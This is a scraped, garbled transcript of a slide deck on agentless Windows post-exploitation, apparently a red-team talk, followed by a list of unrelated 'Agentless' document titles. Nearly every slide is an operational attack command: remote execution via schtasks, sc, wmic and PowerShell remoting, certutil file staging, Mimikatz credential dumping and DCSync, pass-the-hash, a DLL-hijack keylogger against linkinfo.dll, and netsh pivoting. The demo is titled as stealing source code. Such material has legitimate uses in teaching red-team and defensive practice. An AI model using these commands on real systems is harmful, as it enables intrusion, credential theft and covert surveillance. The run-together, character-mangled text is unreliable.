Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in...

29
Agentless Post Exploita0on Raphael Mudge [email protected]

Transcript of Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in...

Page 1: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

AgentlessPostExploita0on

[email protected]

Page 2: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

AgentlessPostExploita0on

•  Remotecontroloftargetwithbuilt-inservices•  Benefits– Similarresults,withoutmalwareonalltargets– Differentar0facts

•  Drawbacks– Requiresaccessibleservices

Page 3: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

Overview

•  AdministratorRights•  Execute•  UploadandDownload•  ProcessManipula0on•  RecoveringCreden0als•  UsingCreden0als•  UserExploita0on•  Pivo0ng•  DEMO!

Page 4: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

AdministratorRights

•  Administratortrustsallowustodothings!•  Interactw/adminsharesandscheduleprocesses•  BothLocalandDomainAdministratormaNer!!

•  AmIanadmin?dir\\host\C$at\\host

Page 5: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

Execute

•  Oldschool:at,schtasks,sc,wmicnet0me\\targetat\\targetHH:mmc:\path\to\programDeprecatedasofWindows8|2012server

Page 6: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

Execute

•  Oldschool:at,schtasks,sc,wmicschtasks/create/tnNAME/trc:\path\program/sconce/st00:00/Starget/RUSystemschtasks/run/tnNAME/Starget

Page 7: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

Execute

•  Oldschool:at,schtasks,sc,wmicsc\\targetcreatenamebinpath=“c:\path\program”sc\\targetstartnameMakesurethere’saspacea`erbinpath=

Page 8: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

Execute

•  Oldschool:at,schtasks,sc,wmicwmic/node:”target”processcallcreate“program”

Page 9: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

Execute(Non-blind)

•  PowerShellRemo0ng(WinRM)

Invoke-Command–ComputerNametarget–ScriptBlock{command}

Page 10: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

Execute(Non-blind)

•  PowerSploit’sInvoke-WmiCommand.ps1

Invoke-WmiCommand–ComputerNametarget–Payload{command}|select–exp“PayloadOutput”

Page 11: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

Upload&Download•  Push&pullfilesviaUNCpath\\target\share?–  copymyfile\\target\share–  copy\\target\share\theirfilemyfilenow

•  Defaultshares

•  NoDefaultShares?Turnthemon:–  netshareC$–  netshareadmin$

Share Mapsto

C$ C:\

ADMIN$ %SystemRoot%(e.g.,c:\windows)

Page 12: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

UploadL

•  Canyouruncommandsremotely?– Base64encodelocalfile– Runecho“partofbase64string”>>dest.b64

•  Againandagain…

– Runcertu0l.exetodecoderemotefile•  certu0l.exe–decodedest.b64dest.dll

hNps://gist.github.com/makfesta0on/47f9e8a431f96a266522

Page 13: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

ProcessManipula0on

•  ListProcessestasklist/v/Starget

•  KillProcesstaskkill/Starget/PIDPID/F

Page 14: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

ProcessManipula0on

•  ListProcesseswmic/node:”target”processlistfullwmic/node:”target”processlistbrief

•  KillProcesswmic/node:”target”where(ProcessID=“##”)

callterminate

Page 15: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

RecoveringCreden0alMaterial

•  PowerSploit’sInvoke-Mimikatz(WinRM)Invoke-Mimikatz–ComputerNametargetOr…Invoke-Mimikatz–ComputerNametarget-Commandcommand

Page 16: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

RecoveringCreden0alMaterial

•  DcSyncviamimikatzlsadump::dcsync/domain:DOMAIN.fqdn/user:DOMAIN\user

Page 17: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

UsingCreden0als(AccessTokens)

•  Createda`erlogon•  Associatedwitheachprocessandthread•  Contains:– UserandGroupInforma0on– Alistofprivilegesonlocalcomputer– Restric0ons(user/grouprightstakenaway)– Referencetocreden0als(supportssinglesign-on)

•  Persistsinmemoryun0lreboot

Page 18: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different
Page 19: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different
Page 20: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

UsingCreden0als

•  Creden0alsrunas/netonly/user:DOMAIN\userprogram

•  Pass-the-hash(Mimikatz)sekurlsa::pth/user:USER/domain:DOMAIN/ntlm:HASH/run:program

YourPayloadmayhavebuilt-inversionsofthese

hNp://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-creden0als/

Page 21: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

UserExploita0on

•  ScreenshotswithProblemStepRecorder– Starttherecorderpsr.exe/start/gui0/outputc:\users\user\out.zip– Stoptherecorderpsr.exe/stop

hNps://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr-remotely-with-metasploit/

Page 22: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

UserExploita0on

•  ScreenshotswithProblemStepRecorder– Starttherecorderpsr.exe/start/gui0/outputc:\users\user\out.zip– Stoptherecorderpsr.exe/stop

•  Howtoruninuser’sdesktopsession?schtasks/IT/RUDOMAIN\user/RPpassword…

hNps://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr-remotely-with-metasploit/

Page 23: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

UserExploita0on

•  LogkeystrokesviaDLLHijacking– CompileakeystrokeloggerasaDLL– Copyto\\target\C$\windows\linkinfo.dll– Remotelykillexplorer.exe– PullkeystrokelogfileviaC$share

Page 24: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

Pivo0ng•  Createaportforwardwithnetshnetshinterfaceportproxyaddv4tov4

listenport=LPORTlistenaddress=0.0.0.0connectport=FPORTconnectaddress=FHOST

•  RequiresIPv6stackisinstalled.•  Portforwardpersistsonreboot.CLEANUP!netshinterfaceportproxyreset

Page 25: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

DEMONSTRATIONStealingSourceCodefromACME

Page 26: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different
Page 27: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different
Page 28: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different
Page 29: Agentless Post ExploitaonAgentless Post Exploitaon • Remote control of target with built-in services • Benefits – Similar results, without malware on all targets – Different

Summary

•  AdministratorRights•  Execute•  UploadandDownload•  ProcessManipula0on•  RecoveringCreden0als•  UsingCreden0als•  UserExploita0on•  Pivo0ng•  DEMO!


Screenshots i7 peregrine7 - Agentless BYOD security tool

Screenshots i7 peregrine7 - Agentless BYOD security tool

Cellular Exploitaon on a Global Scale: The Rise and Fall ...

Cellular Exploitaon on a Global Scale: The Rise and Fall ...

HPE Agentless Management and the transition from OS · PDF fileHPE Agentless Management and the transition from OS-based agents . Technical white paper

HPE Agentless Management and the transition from OS · PDF fileHPE Agentless Management and the transition from OS-based agents . Technical white paper

Agentless Inventory of your IT Assets - iET Solutions

Agentless Inventory of your IT Assets - iET Solutions

Agentless Transitive Verbs in Georgian (Tuite)

Agentless Transitive Verbs in Georgian (Tuite)

Introduction to HPE ProLiant HP Servers...• Agentless management with the AMS – Traditional SNMP/WBEM based System Management and Monitoring – Agentless Management Architecture

Introduction to HPE ProLiant HP Servers...• Agentless management with the AMS – Traditional SNMP/WBEM based System Management and Monitoring – Agentless Management Architecture

Agentless Purpose Built Scalable Veeam Backup & Replication.

Agentless Purpose Built Scalable Veeam Backup & Replication.

Weiner Labov 1983 - Constraints on the Agentless Passive

Weiner Labov 1983 - Constraints on the Agentless Passive

Light Agent or Agentless?

Light Agent or Agentless?

Trend Micro VForum Agentless Scanning Presentation

Trend Micro VForum Agentless Scanning Presentation

iSeries Agentless Security User Guide - HelpSystems

iSeries Agentless Security User Guide - HelpSystems

AGENTLESS DEVICE DISCOVERY AND RISK ASSESSMENT

AGENTLESS DEVICE DISCOVERY AND RISK ASSESSMENT

IBM Tivoli Agentless Monitoring

IBM Tivoli Agentless Monitoring

The first agentless Security, Virtual Firewall, Anti- Malware and … · 2014-11-17 · Agentless for virtualization and cloud Global coverage Trusted by over 20K users worldwide:

The first agentless Security, Virtual Firewall, Anti- Malware and … · 2014-11-17 · Agentless for virtualization and cloud Global coverage Trusted by over 20K users worldwide:

Why Agentless Backup is More Secure

Why Agentless Backup is More Secure

LIGHT AGENT OR AGENTLESS - Kaspersky Lab · LIGHT AGENT OR AGENTLESS ... Microsoft Hyper-V, Citrix XenServer and KVM. 4 A Features Guide to Kaspersky Security for Virtualization KASPERSKY

LIGHT AGENT OR AGENTLESS - Kaspersky Lab · LIGHT AGENT OR AGENTLESS ... Microsoft Hyper-V, Citrix XenServer and KVM. 4 A Features Guide to Kaspersky Security for Virtualization KASPERSKY

Comparing Agent vs. Agentless Application Discovery€¦ · Agent vs. Agentless Application Discovery How you measure matters Measurement is meaning In the world of quantum mechanics,

Comparing Agent vs. Agentless Application Discovery€¦ · Agent vs. Agentless Application Discovery How you measure matters Measurement is meaning In the world of quantum mechanics,

Agentless Monitoring

Agentless Monitoring

IBM Tivoli Agentless Monitoring for Windows Operating - Support

IBM Tivoli Agentless Monitoring for Windows Operating - Support

Disseminaon, Exploitaon AndStandardizaon FinalReport · Reaching a world-wideaudienceand communitiesofin-terest Project website, including software repositories and collection of

Disseminaon, Exploitaon AndStandardizaon FinalReport · Reaching a world-wideaudienceand communitiesofin-terest Project website, including software repositories and collection of